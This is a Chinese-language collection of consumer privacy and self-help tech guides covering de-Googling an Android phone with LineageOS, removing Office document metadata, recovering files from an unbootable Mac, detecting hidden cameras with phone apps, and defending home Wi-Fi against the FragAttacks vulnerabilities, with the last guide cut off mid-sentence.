很多人都对 Google 太过了解自己（数据收集）这种事焦头烂额，他们宁可因此不要 Android 设备。如果你发现自己喜欢安卓的想法，却讨厌谷歌，那么把 Google 从 Android 手机上剥离出去应该是一个很好的解决方案。

当然，这需要一些修修补补。你不能只从现有的手机中剥离谷歌。您将删除手机上附带的谷歌操作系统，并将其替换为替代操作系统—有些手机会比其他手机更容易做到这点。

你需要做些什么

需要做的第一件事就是使用合适的 Android 手机。由于这一过程需要擦除并刷新自定义 ROM，因此您需要一部具有良好 ROM 支持的手机。

带有解锁引导加载程序的东西—比如 Nexus 旧版本的任何东西—或者自定义 ROM 的良好解决方案，都能很好地满足要求。

本文使用 LineageOS 进行测试—它具有出色的设备支持并且经常更新。如果你之前从未使用过 Lineage，文章末尾将有一个方便的指南来帮助你安装。

如何在没有 **Google** 的情况下使用 **Android**

为了进行测试，我们正在使用安装在 Nexus 6 上的 Lineage 操作系统。开箱即用，设置体验非常简单—只需轻轻一点。由于设备上没有 Google 服务，因此没有任何内容可以登录。

于是第一个问题出现啦—你如何获得应用程序？这里没有 Play 商店，它是一个没有任何生态系统的空系统。好消息是，自从 Android 开放以来，已经有了一些好的（和值得信赖的）appstore 替代品。

其中两个特别突出：

– Amazon Underground：亚马逊的 Android appstore 拥有 Google Play 以外最大的应用程序目录，允许您安装大多数喜爱的应用程序，而无需使用 Google。

– F-Droid：F-Droid appstore 是谷歌 Play 的一个鲜为人知的替代品，对于只想要开源软件的人来说，比如我们，它是一个非常 nice 的选择。F-Droid 商店中的所有东西都是开源的，可以免费使用哦。

「图」

「图」

还有第三个选项，虽然它不是真正的 appstore，它叫：APKMirror。这是一个 APK（Android Package Kit）托管网站，可以反映您通常在 Google Play 商店中找到的免费应用。

这些用户上传的 APK 由 APKMirror 工作人员手动验证和批准，因此您可以相信他们始终是从 Google Play 设备中提取的合法副本—他们从不盗版，也没有充斥间谍软件。

不论你选上述哪一种，你都需要启用“Unknown Sources”来安装 appstore 本身，以及所述商店内的任何应用程序。如果您不确定如何执行此操作，我们可以提供有关侧载应用的指南，或者您在网上搜搜，应该有相关介绍的。

您只需使用手机的浏览器下载相应的 APK 文件（appstore 或独立的 APK），然后正常安装即可。

没有 **Google** 你会想念什么吗？

你会错过一个联系人的同步功能，但必须说，手动输入所有联系人虽然麻烦，但是很安全。

当然，您也可以在决定放弃 Google 之前导出您的联系人并进行备份，这无论如何都是个好主意。

此外您将错过 Chrome 书签和密码同步，Gmail，Google 地图，Google Pay ……等几乎所有 Google 应用。没错，就是那些每时每刻跟踪你的东西。在加载任何东西时（尤其是来自 APKMirror）要记住这一点：如果它需要 Google Play 服务，它就无法在你的新无谷歌手机上运行。

还有另一种选择：**MicroG**

「图」

「图」

总而言之，Google Play 服务还有一个替代方案：一个名为 microG 的项目。这旨在模仿 Google Play 所做的一切，但它完全是开源的。

它由五个关键组件组成，旨在取代 Play 服务中的核心工具。理论上，这应该允许通常需要 Play 服务的类似地图或 Gmail 的工作。但事情就是这样：microG 只与支持签名欺骗的 ROM 兼容……而 Lineage OS 不是其中之一。因此，microG 有自己的 Lineage fork，名为 LineageOS for microG。

好啦，总之如果你想要退出谷歌生态系统，不是苹果公司的忠实粉丝，并且不介意用一点 ROM 闪烁，那么这绝对是可以做到的。如果您不需要任何 Google 服务，那简直就太棒了。

这里有几乎所有谷歌产品的替代品，可供参考。为了安全，支持开源自由软件！

——附带知识——

如何在 **Android** 上安装 **LineageOS**

第零步：确保您的设备（和计算机）准备就绪

在你过度热心并开始在命令行上扔东西之前，首先需要确保拥有开始所需的一切—包括你的手机是否准备好了接受 ROM。

首先，第一件事是：你的手机兼容吗？您需要确保专门为您的手机设计的 Lineage 版本。只需前往 Lineage 下载页面，选择您手机的制造商，然后找到您的型号。

然后需要确保你的计算机拥有所需的一切，以便到达目的地：ADB 和 Fastboot。你可以在网上找到关于 ADB 入门的指南，并不难。

在将 Lineage 闪存到手机之前，还有一件事需要做：解锁引导加载程序或兼容的解决方法。这可能是整个过程中最困难的部分（取决于您的特定手机型号），因为绕过许多手机上的安全措施不是太容易。比如很多三星设备，需要对您的特定型号进行更多研究。如果您的手机支持引导加载程序解锁，那就很简单了。

第一步：收集下载并启用开发者模式

你将需要一些工具，现在最好继续收集它们。这是列表：

」 TWRP：自定义恢复。这是目前最受欢迎的选择，它可用于大量不同的手机。

」 Lineage OS：实际的操作系统。

」 GApps（可选）：如果您想要 Android 附带的所有 Googleyness，您需要准备好一个GApps（Google Apps）套餐。我们就不介绍啦。

」 SUFile（可选）：如果您想要 root 访问权限，则需要闪存。

如果您没有花时间在系统 PATH 中设置它们，那么将所有这些文件下载到同一位置（最好是带有 ADB 和 Fastboot 的文件）会很有帮助。

TWRP

TWRP 是一种自定义恢复，在您可以闪存 Lineage（或任何其他自定义包）之前基本上是必需的。请转到 TWRP 的主页，然后单击“设备”链接。

输入手机的型号名称。一定要注意这里—可能有类似名称的设备，你应该保证输入正确。例证：Nexus 和 Nexus 5x，完全是两种不同的手机，两种不同的恢复方法。

「图」

「图」

选好手机后，向下滚动页面至“下载链接”部分，然后单击适合您所在地区的链接。

「图」

「图」

从那里，单击最新版本的链接。

「图」

「图」

这将打开一个新页面，您可以在其中单击“下载 twrp-x.x.x.img”按钮开始下载文件。

下载 **SU**（可选）

最后，如果您想要在使用 Lineage 后获得 root 访问权限，则需要从此处获取相应的 SU 文件。选择与您的手机架构相匹配的版本（您在下载 GApp 时可能会发现的版本）和 Lineage 版本。

「图」

「图」

注：尚未为 Lineage 15.1 提供 SU 文件。

启用开发者模式和 **USB** 调试

保存所有下载并准备就绪后，您需要在手机上启用开发人员模式和 USB 调试。

转到手机的“关于”部分，找到内部版本号，然后点击该数字七次，将启用“开发者模式”菜单。

跳转到这个新菜单，然后启用“Android Debugging”选项。请注意，如果您使用较新的 Android 设备，则还必须启用“OEM 解锁”功能。

「图」

「图」

第二步：解锁 **Bootloader**

您需要做的第一件事是解锁手机的引导程序。我们强烈建议您在此之

前备份手机。

准备就绪后，通过 USB 将手机连接到计算机，然后导航到存储 ADB 和 Fastboot 文件的文件夹。您需要打开命令提示符或 PowerShell 窗口到此文件夹。最简单的方法是按住 Shift 键并右键单击该文件夹，然后选择“在此处打开 PowerShell 窗口”命令。

「图」

「图」

打开后，您应确保设备已正确连接。在提示符下键入 adb devices，然后按 Enter 键。它应该在连接的设备列表中返回您的设备。

「图」

「图」

如果您以前从未使用过 ADB，请查看您的手机。它应该有一个对话框，要求获得授予 ADB 访问权限。勾选“始终允许从此计算机”框，然后点击“确定”按钮。

「图」

「图」

现在，键入以下命令并按 Enter 键：

- adb reboot bootloader

手机应重新启动进入引导加载程序。完成重新启动后，键入以下命令并按 Enter 键以解锁引导加载程序：

- fastboot oem unlock

注意：这将恢复出厂设置，因此请务必先备份您的手机！

您必须使用音量和电源按钮在手机上进行确认。使用音量增大按钮选择“是”选项，然后按电源按钮进行确认。

「图」

「图」

第三步：**Flash TWRP**

设备应该会花几分钟来格式化。完成后，您就可以开启 TWRP 了。在保存 TWRP 的文件夹中打开命令提示符或 PowerShell 窗口，键入以下命令并按 Enter 键：

- fastboot flash recovery 「nameofrecovery.img」

当然，您将更改「nameofrecovery.img」以匹配您的文件—例如，我的是 twrp-3.2.1–1-hammerhead.img。所以我的完整命令将是 fastboot flash recovery twrp-3.2.1–1-hammerhead.img。

这一步应该只需要几秒钟。

第四步：重置/擦除分区

接下来，您需要启动恢复。使用手机的音量键以浏览菜单，找到“恢复模式”选项。按电源按钮进入恢复状态。

TWRP 第一次启动不应该花很长时间。启动后，您需要滑动才能进入恢复屏幕。在该屏幕上，点击“擦除”按钮，然后点击“高级擦除”按钮。

「图」

「图」

勾选“系统”，“数据”和“缓存”选项，然后滑动底部的滑块以开始擦除。

「图」

「图」

给它一些时间来干它的活儿，然后使用底部的按钮重启系统。

第五步：**Flash Lineage**，**GApps** 和 **SU**

重新启动后，当您的手机恢复时，您需要返回计算机上的命令提示符或 PowerShell 窗口。输入以下命令并按 Enter 键：

adb push 「nameoflineagebuild.zip」 /sdcard

请注意，“sdcard”是 Android 调用本地存储的。您不需要手机中的实际 SD 卡。

「图」

「图」

这会将您的 Lineage 下载内容复制到手机的本地存储空间。如果您有 GApps 和 SU，那么您现在也需要使用相同的命令移动它们，但要替换这些文件。

adb push 「gapps.zip」 /sdcard

adb push 「su.zip」 /sdcard

总的来说，您应该将三个文件移动到手机的存储空间（假设您正在安装 GApps 和 SU）。完成后，再次拿起手机。首先，点击“安装”按钮，然后选择你的 Lineage 下载。这必须是第一件事。

「图」

「图」

选择该选项后，点击“添加更多 zips”按钮，然后选择 GApps。对 SU 重复此过程。如果您已将它们全部选中，请确保顶部显示 “3 of max 10 File queued.”

「图」

「图」

选中所有三个文件后，滑动即可。这需要一点时间，所以只需监控它以确保没有错误。

第六步：**Root** 和设置

现在你需要再次重启。

「图」

「图」

第一次启动可能需要一段时间，但是当它启动并运行时，您将像任何

其他 Android 手机一样设置。恭喜，您现在正在运行 Lineage OS。

原文

如何从 Microsoft Office 文档中完全删除那些暴露你身份的元数据？ - iyouport

自我保护措施-技术技巧以防身

【2020年6月12日存档】包括您应该执行此操作的原因。

您所做的一切都会在某处生成数据。这些数据在收集和分析后成为信息。这些信息可以告诉别人更多关于您的私密细节，而您可能不希望他们知道。

随着时间的推移，收集到的信息完全可以告诉某人有关您的一切，并且可以用来操纵和伤害您。该数据称为元数据。

- 请随时记得国家安全局和中央情报局前负责人、臭名昭著的 Michael Hayden 将军的名言：“我们基于元数据杀人。”《少即是多：变得难以被追踪的简单方法（5）》

什么是元数据？

「图」

元数据是关于数据的数据。是关于单个数据的事实。可以用在 Microsoft Word 中写信的示例来说明这一点。

您写了一封信，将发生在工作中的不道德行为甚至可能是非法行为发送给领导。是的，它马上就会变得很戏剧化。

这封信是由您按特定顺序键入的字符组成的信息。您键入的字符由一堆的1和0生成。1和0是组成信息的数据。

当“ 1”和“ 0”转换为一封信时，还有其他有关创建这封信的数据。其中一些元数据包括写这封信的时间、谁写的这封信、上次保存的时间、在哪个版本的 Word 中创建的等等，所有这些都是有关数据的数据。

元数据做什么？

「图」

它可以帮助您找到文档的最新版本或查看文档的创建者，从而可以向他们询问有关此文档的问题。它有助于跟踪文档的编辑或注释。

Office 程序和其他程序也使用它来处理文档。例如，Windows 资源管理器使用该信息对文档进行分类和排序。

为什么我要删除元数据？

「图」

回到您发送给领导的这封信中。您之所以匿名写信，是因为您害怕受到报复，或者只是不想引起他人的注意。

您全力以赴，获得了一个临时的电子邮件地址，然后从图书馆的公共计算机上发送该电子邮件，以掩盖您的数字足迹。

但是，由于存在元数据，文档中可能包含可用于将其关联到您的真实身份的信息。它甚至可能仍带有您的名字。

更糟糕的是，您对文档所做的更改虽然不再对您自己可见，但仍可能存在于文档中。

如果您写了一段包含特定内容的段落，但由于这一段路可以用来识别您的身份于是您将其删除了，那么它仍可能以元数据的形式成为文件的一部分。

如何查看Office元数据？

「图」

以下是查看将哪些元数据附加到了 Word、Excel 或 PowerPoint 文件的方法列表。

1、在 Word、Excel 或 PowerPoint 中查看元数据

打开您要检查的文档，工作簿或演示文稿：

单击左上角的文件。

在 “**Info**” 屏幕上，您会看到很多信息，例如大小、页面、单词数、总编辑时间、最后修改时间、创建时间和相关人员、以及其他数据。

在这里单击 “显示所有属性” 以查看更多数据。 请注意模板数据。如果您使用的模板中带有您的名字或公司名称，也可以用来跟踪到您。

2、在 Windows 资源管理器中查看元数据

打开 Windows 资源管理器，然后导航到保存文件的位置。

右键单击该文件，然后单击 “属性”。

在 “属性” 窗口中，单击 “详细信息” 选项卡。您会在简洁明了的列表中看到所有元数据。

3、XML

可扩展标记语言（XML）是用于在计算中存储元数据的事实上的文档。它随附于各种文件，Microsoft Office 文件也不例外。

查看这些XML文档非常容易：# 打开Windows资源管理器，然后导航到保存文件的位置。

- 复制文件，以免意外损坏原始文件。
- 点击键盘上的 F2 按钮或右键单击该文件，然后选择 “重命名”。

将文件的扩展名从 .docx 更改为 .zip。是的，每个以x结尾的 Office 文件类型都是包含XML的压缩文件。您会收到有关此操作的警告。单击是。

右键单击文件，然后选择全部提取…

在打开的窗口中，它将询问您要将提取的文件保存在何处，以及是否要在完成后显示提取的文件。选默认就可以。单击提取。

提取完成后，您将看到三个文件夹和一个XML文件。在这些文件中浏览以查看其中存储了哪些信息。

如果您双击XML文件，则该文件可能会在 Internet Explorer 中打开。

看起来可能有点奇怪，但是您应该能够弄清楚大多数信息的含义。有两个XML文件可能包含您的名字：docProps 文件夹中的 **core.xml** 以及 word 文件夹中的 **document.xml** 和 **people.xml**。

如何从 Microsoft Word、Excel 或 PowerPoint 中删除元数据

「图」

单击左上角的 “文件”。

在 “信息” 页面上，单击页面中间附近左侧的 “**Check for Issues**”。

单击 **Inspect Document**。将打开 “文档检查器” 窗口。

确保选中文档检查器中的所有复选框，然后单击 “检查” 按钮。

完成后您将看到有关找到的数据类型的信息。圆圈中的绿色对勾表示未找到该类型的数据。红色的感叹号表示它找到了该类型的数据。在该数据类型的说明旁边，您会看到全部删除按钮。

单击该按钮以删除该类型的所有数据。这些按钮可能有多个，因此请向下滚动以确保不要遗漏。

删除元数据后，您可能要单击“重新检查”按钮，以确保它不会丢失任何内容。

「图」

立即保存您的文档，以确保不会重新输入数据。

如何确定元数据已删除

「图」

请按照上述步骤操作，以在 Word、Excel 或 PowerPoint 中查看所有元数据。检查 core.xml、document.xml 和 people.xml 文件后，您应该看到其中不再有个人数据。

如果将扩展名从.zip更改回.docx，则可以再次在Word中正常打开文件。

如何在 Windows 资源管理器中删除元数据

「图」

如果要快速从多个文件中剥离元数据，这是一个好方法。只需几秒钟即可完成对2个或更多文件的操作。

打开Windows资源管理器，然后导航到要从中删除元数据的文件。右键单击该文件，然后单击“属性”。

在“属性”窗口中，点击“详细信息”选项卡，然后点 “删除属性和个人信息”。

您可以通过两种方式删除信息：可以从原始文件中删除元数据，也可以制作没有任何元数据的文件副本。

方法1：选择“从此文件中删除以下属性：” 然后仅选中所需的框，或单击 “全选” 按钮。然后单击确定。

方法2：这将复制文件，并在文件名的末尾添加单词 Copy。该副本将没有任何与之关联的元数据。

在 “删除属性” 窗口中，选择 “创建一个删除了所有可能属性的副本”，然后单击 “确定” 按钮。

比较原件和副本的属性以查看区别。

最后

「图」

这是否意味着已经与您完全？无法从文档中识别出您吗？很难说。接下来对文档的处理将确定这一点。

⚠对文档进行任何进一步的数字处理（例如通过电子邮件发送）都可以将元数据添加回链中。一个可行的选择是打印文档并将其邮寄。因为很难从纸张中获取元数据。〇

原文

如何从无法启动的Mac上获取数据 - iyouport

自我保护措施-技术技巧以防身

一系列方法，适合不同的情况。

如果你的Mac无法启动了，你仍有很大机会恢复数据。以下是如何从Mac的内部驱动器上获取你的文件的方法 —— 即使macOS不断崩溃或拒绝启动。

有最近的备份吗？使用它

「图」

最佳做法是定期将Mac备份到外部位置。你可以使用 Time Machine 和一个简单的外部USB硬盘来做这件事。

当最坏的情况发生时，Mac完全无法启动，可以简单地将你的 “时间机器” 备份磁盘插入另一台Mac，从那里访问你的文件。这种方法假定你有一个最近的备份，并且该备份包括你想访问的文件。

双击 “Backups.backupdb” 文件夹，然后是与你的Mac名称相符的文件夹。现在会看到一个文件夹列表，代表每一个单独执行的备份。“Latest” 是最近的备份。

恢复你需要的东西，或者使用 Finder 中的搜索来寻找特定的文件夹或文件。

有一台 **Intel Mac**？使用目标磁盘模式

「图」

目标磁盘模式可用于与另一台Mac共享坏掉的Mac的驱动器来传输文件，前提是源Mac没有使用 Apple Silicon。可以在 “Apple 」 关于本机” 菜单下检查你是否在运行 Intel 或 Apple Silicon。

首先，用 Firewire 或 Thunderbolt 电缆连接两台Mac（这在标准USB电缆上是行不通的）。现在确保你想共享的那台Mac（源电脑）是关闭的。在源Mac上（无法启动的那台），按下电源按钮，然后立即按住T，等待启动到目标磁盘模式。

现在把注意力转向第二台Mac。一旦启动目标磁盘模式，源Mac的驱动器应该出现在你的桌面上（或在 Finder 侧边栏的“位置”下）。双击该驱动器以访问它。

如果驱动器是用 FileVault 加密的，应该会提示你输入密码，macOS 可以用它来解密该卷。在这个阶段，你可以传输你可能需要的任何文件。完成后，弹出驱动器并关闭源Mac。

有一台苹果**Silicon Mac**？使用**Mac**共享模式

「图」

如果你试图从配备M1芯片或更高版本的苹果 Silicon Mac上共享文件，可以使用Mac共享模式。这与目标磁盘模式非常相似，尽管它的工作方式有点不同。

首先，用USB、USB-C 或 Thunderbolt 电缆连接你的两台电脑。确保 Silicon Mac（你想共享的那台）已经关闭，然后按住电源按钮，直到在屏幕上看到“正在加载启动选项”。

从这里选择“选项”，然后选择“继续”，并在出现提示时输入你的密码。Mac将启动到恢复模式，这时你可以选择实用工具，然后选择共享磁盘。选择你想共享的磁盘，然后点击开始共享。

在另一台Mac上（你要传输文件的那台），打开Finder，向下滚动到侧边栏的底部，点击“位置”部分中的网络。如果一切顺利，应该可以看到你试图复制数据的那台Mac出现。双击它，然后点击“连接”，接着点击“访客”，然后点击“连接”，最终完成这一过程。

现在你应该能够看到你的Mac的文件，并传输你需要的任何东西。完成后，弹出磁盘并关闭源Mac。

使用恢复模式复制你的数据

「图」

苹果在每台Mac上都有一个恢复分区，因此，即使macOS无法正常启动，你也应该能够进入恢复模式来解决问题。恢复模式包括一些有用的功能，如终端窗口、重装macOS的能力，以及用于擦除和修改分区的磁盘工具。

老式 Intel Mac 用户可以在启动时按住 Command＋R 进入恢复模式。如果你有一台较新的苹果 Silicon Mac，关闭电脑，然后按住电源按钮，直到你看到 “正在加载启动选项”，然后选择选项」继续。

如果你的驱动器没有用 FileVault 加密，可以立即访问文件，可跳到下面的 “使用命令行复制文件” 部分。大多数驱动器在默认情况下是加密的，所以如果你不确定，可以使用终端命令来检查。

解密 **FileVault** 驱动器（终端）

「图」

可以通过使用终端，或通过磁盘工具来完成这项工作。如果你想通过图形化的磁盘工具来完成，请跳到下一节。

恢复模式启动后，你会看到一个实用程序的列表，点击屏幕上方的实用程序」终端，打开一个新的终端窗口。在终端中输入 diskutil apfs list，然后点击 Enter。

这将提供一个当前连接到你的Mac的APFS格式化驱动器的列表。向下看，直到找到一个与你的主驱动器相匹配的驱动器（它可能是唯一一个标有 “FileVault: Yes (Locked) ” 的驱动器）。注意 “APFS物理存储” 字段中的磁盘标识符。在本案例中它是disk2s1。

在接下来的步骤中，需要 FileVault 密码（就是你用来解锁Mac的密码）。在终端 diskutil apfs unlockVolume /dev/identifier 中输入以下内容，但用你在上一步中记下的标识符代替 identifier，例如 disk2s1。

「图」

当有提示时，输入密码，然后回车。搞错了也没关系，再一次输入之前的命令并重试。如果密码正确，磁盘现在已经被解锁和挂载。现在是时候把数据复制到另一个驱动器了。

解密你的**FileVault**驱动器（磁盘工具）

「图」

与其使用上面的终端命令，你可以尝试用磁盘工具以图形方式进行操作。终端方法在磁盘实用程序不起作用的情况下是有效的。(如果已经使用了终端命令，就不必再使用磁盘工具了）。

退出任何终端窗口，使macOS实用程序窗口再次出现，并从列表中选择磁盘工具。你应该看到你的硬盘在屏幕左边的 “Internal” 部分列出。如果它是灰色的，那么它是加密的，没有挂载。

点击左边的 “数据” 分区，然后点击窗口顶部的 “挂载” 按钮。系统会提示输入FileVault密码，输入密码后点击 “解锁” 按钮。FileVault分区将被解锁并挂载。

使用命令行复制文件

「图」

你不能在恢复模式下运行Finder，所以任何文件都必须使用终端手动复制。如果你知道想要的文件在哪里，或者你有一个足够大的外部驱动器，可以简单地复制所有的文件，这就很容易。

可以使用 ls /Volumes/Macintosh/ HD/ 命令来查看目录结构概况。任何名称中带有空格的目录都需要在命令中的空格前加上反斜杠。例如，一个名为 “My Photos” 的文件夹会变成 /My\ Photos/。

连接的任何外部驱动器应该被系统自动挂载。可以使用 ls /Volumes/ 来检查驱动器是否存在。如果找不到驱动器，退出终端，回到macOS 实用程序主窗口。从这里选择磁盘工具，然后寻找驱动器。如果仍然没有出现，就断开连接，然后重新连接，直到它出现。

退出磁盘工具，然后使用实用工具」终端，以启动终端。现在使用cp命令来复制文件，使用-R 进行递归复制（包括指定位置的所有目录和文件）。

因此，假设你想把 “Macintosh HD” 分区上一个叫 “htg” 的用户的整个用户文件夹复制到一个名为 “Rescue Disk” 的外部驱动器上，命令将是：

cp -R /Volumes/Macintosh\ HD/Users/htg/ /Volumes/Rescue\ Disk/

用你的用户替换 “htg”（运行 ls /Volumes/Macintosh/HD/Users/ 找到它），并替换你的目标驱动器。整个文件夹将被复制到外部驱动器的根目录，只要有足够的空间。

「图」

如果你想把内容复制到外部驱动器上的一个特定文件夹，在开始之前使用 mkdir 命令，例如：mkdir /Volumes/Rescue/Disk/backup，在根目录下创建一个名为 “备份” 的文件夹。

考虑物理移除驱动器

「图」

最后一个选择是将硬盘从Mac内部物理移除，并将其安装在另一台电脑上。由于苹果公司使用的驱动器类型有很大的差异，具体的指示将根据你的设备而有所不同。

首先是查找Mac型号。序列号会印在机箱外面的某个地方（例如，在MacBook的底部），然后把它放入 checkcoverage.apple.com，以获得精确型号、年份和日期。

有了这些信息，就可以去 iFixit 查找Mac型号了，找出如何进入机箱的方法。可能需要一套TORX螺丝刀，而且应该采取预防措施，如使用防静电腕带，注意别把螺丝弄丢了。

之后的方法取决于驱动器。如果Mac特别旧，它可能有一个机械硬盘或一个较旧的固态硬盘。现在大多数Mac使用M.2或NVMe，有些使用专用连接器。

移除硬盘后，需要解决如何将其连接到另一台电脑或Mac上。有一些M2和NVMe的接口可以使这一过程更加容易，SATA到USB适配器将适用于旧的SSD和HDD型号。

不幸的是，让另一台机器识别这个硬盘可能有点麻烦。Will Haley 的博客对这个过程有一个很好的介绍，从寻找适配器到在Linux中挂载HFS＋分区。

如果硬盘是用 FileVault 加密的，这可能要麻烦一点 —— 特别是如果你没有使用macOS进行恢复过程的话。如果你使用的是macOS，请尝试以下方法：

- 打开一个终端窗口，使用 diskutil apfs list 命令找到你想挂载的（APFS格式的）卷。
- 记下卷标识符，例如 disk1s1 。
- 输入以下命令，用之前的标识符替换 disk1s1 ： diskutil apfs unlockVolume /dev/disk1s1
- 在出现提示时，输入你在登录Mac时使用的密码来解密该卷。○

How to Get Your Data Off a Mac That Won’t Boot

原文

如何使用手机查找隐藏的监控摄像头 - iyouport

自我保护措施-技术技巧以防身

【2020年7月10日存档】有多种方法。

我们曾经介绍过《如何找到旅店房间里隐藏的摄像头？》；本文是一个专注于将手机作为主要工具的查找摄像头方法。

因为有可用的应用程序可以帮您做到这点。

您正在被监视

「图」

有人正在偷窥你。在后斯诺登时代，这几乎是无可辩驳的。

多年来，随着人们对大街上的各种监视摄像机等玩意越来越习以为常，它的发展已经足够令人惊讶。

但是，就在屋里的那种呢？办公室、卧室、甚至洗手间和更衣室中隐藏的监视摄像机……

它们几乎是最直接的危险。尤其是，制作这种东西非常简单，就算不买专业制造的摄像头，个人也不难鼓捣出一个同等能力的暗器来。Raspberry Pi 就可以做到，甚至旧的智能手机或平板电脑都可以做到。

智能手机可以检测到隐藏的摄像头。

通常，使用两种常用方法来实现此目的。

一种是通过使用智能手机硬件检测电磁场。通过安装单个应用程序，您可以将手机移动到怀疑摄像头隐藏的区域，如果检测到强信号，则可以确定墙壁或物体内藏有摄像头。

另一种方式是检测镜头反射的光。虽然这种方法不太可靠，但仍然值得拥有这样一个应用程序，即使它只是发现了落在地毯上的小物件。

使用 Android 或 iOS 查找隐藏的摄像头

「图」

对于 iPhone，$ 4.99 的隐藏摄像机检测器是最佳选择，是啊它不免费。

Download: Hidden Camera Detector for iOS ($4.99)

Android 用户也可以考虑使用 Hidden Camera Detector。还可以使用 Glint Finder，效果一样，都是免费的。

当然还有其他选项可用。例如，使用无线网络的低成本设备很可能会出现在您家附近的Wi-Fi设备列表中。

如果您有预算，而且被监视的后果非常严重，那么还可以考虑使用价格为130美元的RF检测硬件，它能够读取传统无线摄像头广播的信号。

Download: Hidden Camera Detector for Android (Free)

Download: Glint Finder for Android (Free)

Download: Hidden Camera Detector and Spy Cam Finder for Android (Free)

无论您选择哪种应用，都可以检测到摄像头和扬声器，甚至可以检测隐藏的计算机。

它们通常以相同的方式工作：显示与摄像机或其他监视设备的距离，从而使您对其位置有所了解。

比如使用 Hidden Camera Detector，当手机靠近摄像头时应用程序屏幕上会发红光。

如果监测到其他硬件它也会发光，那么究竟是不是摄像头，请注意中间那个数字，如果检测到的是摄像头，那么这个数字应该超过100。

Hidden Camera Detector 还具有红外模式。

请注意，在使用这些应用程序时，首先应确保您了解室内使用了什么技术。电视、计算机、所谓的智能助手（例如 Amazon Echo）和其他硬件可能会形成干扰。

操作方面需要找到技巧，手机的位置很重要。进行一点练习就能帮您找到合适的角度。

如果仍然遇到问题，试试把手机保护套取下来。某些外壳的材料可能会阻挡来自其他设备的信号，并破坏手机自身的辐射场。短暂地卸下保护套可以为您带来更快更准确的检测结果。

找到隐藏的摄像头时该怎么办

「图」

首先请注意，一旦存在隐藏的摄像头，您寻找它的过程就可能已经被监视者发现了。

找到后您可以用黑胶布或喷漆之类的东西遮盖它。但您很可能很难“利用”它了（利用指的是，故意诱导监视者让他们重视你提供的假消息），因为他们很可能已经看到您在检测了。

不论摄像头是谁藏在那里的，它本质上都是一种侵犯性的非法的间谍行为。您应该能找到最恰当的方法以维护自己的利益。〇

原文

如何保护您的Wi-Fi免受FragAttacks攻击 - iyouport

自我保护措施-技术技巧以防身

从根本上说，最敏感的工作不建议使用Wi-Fi

FragAttacks 是一组安全漏洞，可用于攻击Wi-Fi设备。有史以来的每一个Wi-Fi设备都有漏洞，使得攻击者可以窃取敏感数据或攻击您网络上的设备。

以下是您需要知道的内容。

什么是 FragAttacks？

「图」

2021年5月12日公布的 FragAttacks 代表 “分片和聚合攻击”。这些是一起宣布的安全漏洞的集合。其中三个是Wi-Fi本身的设计缺陷，可影响到大多数使用Wi-Fi的设备。

此外，研究人员在许多Wi-Fi产品中发现了编程错误。与Wi-Fi本身的设计缺陷相比，这些漏洞更容易被攻击者滥用。

这组被称为 FragAttacks 的漏洞是由 Mathy Vanhoef 发现的，他也是之前发现KRACK的安全研究员，KRACK是对用于保护Wi-Fi网络的WPA2加密协议的攻击。

哪些设备容易受到 FragAttacks 的攻击？

「图」

根据研究人员的说法，有史以来的每一个Wi-Fi设备似乎都容易受到至少一个 FragAttacks 漏洞的攻击。换句话说，每一个Wi-Fi设备都可以追溯到1997年Wi-Fi的首次发布时可能存在的漏洞。

这是个坏消息。但好消息是，这个漏洞在被披露给公众之前九个月就被发现了。在这段时间里，许多公司已经发布了安全补丁，保护他们的设备免受 FragAttacks 的攻击。

攻击者可以用 FragAttacks 做什么？

「图」

攻击者可以用 FragAttacks 做两件事中的一件。首先，在正确的情况下，FragAttacks 可以被用来从Wi-Fi网络中窃取数据，而该网络应该是加密的，并受到保护以防止这种攻击。（使用HTTPS或其他类型的安全加密的网站和应用程序可以防止这种攻击。但是，如果您在一个加密的Wi-Fi连接上发送未加密的数据，FragAttack 可以用来绕过Wi-Fi加密。）

这突出了通过网络加密发送数据的重要性，即使这些数据只是在您的本地网络上的两个设备之间发送，也应该如此。这也是另一个例子，说明了为什么普及HTTPS对网络的未来是如此重要。浏览器正在慢慢从HTTP转向HTTPS，这是有原因的。

第二，研究人员说，主要的担忧是，FragAttacks 可以用来对Wi-Fi网络上的脆弱设备发动攻击。不幸的是，许多智能家居和物联网设备 —— 尤其是那些由陌生的、不为其设备提供长期支持的品牌创建的设备 —— 并没有定期收到更新。一个来自未知品牌的廉价智能插头或智能灯泡可能很容易被攻击。理论上，这“不应该有问题”，因为该设备是在一个受信任的家庭网络上，但 FragAttacks 提供了一种绕过Wi-Fi网络保护并直接攻击设备的方法，就像攻击者与该设备连接在同一个Wi-Fi网络上那样。

这更加证实了安全更新的重要性。您选择使用的设备应该是来自信誉良好的制造商，他们为其硬件提供安全更新和长期支持。这甚至适用于廉价的支持Wi-Fi的智能插头等（顺便说，我们不会建议您购买所谓的“智能家居”）。

实际风险是什么？

「图」

首先，作为针对Wi-Fi的攻击，攻击者必须在您的网络范围内，换句话说，在您的物理附近，才能执行使用 FragAttacks 的攻击。

换句话说，如果您住在公寓或密集的城市地区，附近有更多的人，您的风险就比较高。如果您住在周围没有其他人的空旷地方，您被攻击的可能性就很小。

企业网络和那些可能成为高价值目标的其他机构的网络显然也比普通家庭网络的风险更大。

截至2021年5月披露这些缺陷时，研究人员说没有证据表明这些缺陷在野外被利用。到目前为止，它们似乎只是理论上的问题 —— 但是，公开披露增加了恶意者在现实世界中利用它们来攻击网络的风险。

因此，FragAttacks 是一个问题，但请记住，这不是一个可以在互联网上像野火一样传播的蠕虫式攻击 —— 攻击者必须在您附近，针对您的网络来攻击您的智能家居设备或试图捕获敏感数据。

当然，披露这一缺陷非常重要，设备制造商为现有设备发布软件补丁，并确保未来的设备得到保护。而且，您也可以做一些事来保护自己。

您可以如何保护自己？

「图」

值得庆幸的是，保持您的设备和网络安全的标准最佳做法也将有助于保护您免受 FragAttacks 攻击。以下是最重要的三个提示。

首先，确保您正在使用的设备得到安全更新。如果您仍然在使用 Windows 7 电脑或没有得到更新的旧版本的 macOS，那么现在是时候升级了。如果您的路由器已经过时，而制造商又不打算再更新它，那么是时候换一个新的路由器了。如果您有智能插头或其他旧设备，没有得到固件更新，而且很可能有安全缺陷，您应该用新的东西来替换它们。

第二，尽快安装那些安全更新。现代设备一般会自动为您安装更新。然而，在一些设备上，如路由器，您仍然必须点击一个选项或点击一个按钮来同意安装该更新。

第三，使用安全加密。当在线登录时，请确保您在一个HTTPS网站上。尽量使用 HTTPS —— 像 HTTPS Everywhere 这样的浏览器扩展可以提供帮助。火狐浏览器甚至可以被配置为在加载未使用HTTPS加

密的网站前向您发出警告。

